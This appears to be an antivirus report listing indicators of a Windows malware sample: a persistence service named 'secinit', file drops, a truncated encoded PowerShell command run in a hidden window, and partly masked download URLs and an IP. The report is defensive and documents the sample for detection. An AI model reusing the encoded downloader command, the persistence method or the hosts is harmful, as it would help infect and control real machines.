Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\secinit] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\secinit] 'ImagePath' = '"%WINDIR%\SysWOW64\Sens\secinit.exe"'
- 'secinit' "%WINDIR%\SysWOW64\Sens\secinit.exe"
- 'secinit' %WINDIR%\SysWOW64\Sens\secinit.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABPAGMAYQB2AHAAOAAzAD0AWwBjAGgAYQByAF0ANAAyADsAJABVADYAOQBiAGoANAAwAD0AKAAoACcAQgBuACcAKwAnAHoAYgB2ACcAKQArACcAOABsACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQAnACsAJwB0AGUAbQ...
- %HOMEPATH%\b20dyak\ovpqho4\v9ofyxp.exe
- %WINDIR%\syswow64\sens\secinit.exe
- %HOMEPATH%\b20dyak\ovpqho4\v9ofyxp.exe в %WINDIR%\syswow64\sens\secinit.exe
- '18#.#57.101.114':80
- http://ne####turkiye.com/wp-admin/Sbp/
- http://18#.#57.101.114/gokpfpQhJ7v9CmjVuhg/bUDBg8o/dM9NjGQ7nH46o2/45GGXsjmTogXNM/
- DNS ASK ne####turkiye.com
- '%HOMEPATH%\b20dyak\ovpqho4\v9ofyxp.exe'
- '%WINDIR%\syswow64\sens\secinit.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABPAGMAYQB2AHAAOAAzAD0AWwBjAGgAYQByAF0ANAAyADsAJABVADYAOQBiAGoANAAwAD0AKAAoACcAQgBuACcAKwAnAHoAYgB2ACcAKQArACcAOABsACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQAnACsAJwB0AGUAbQ...' (со скрытым окном)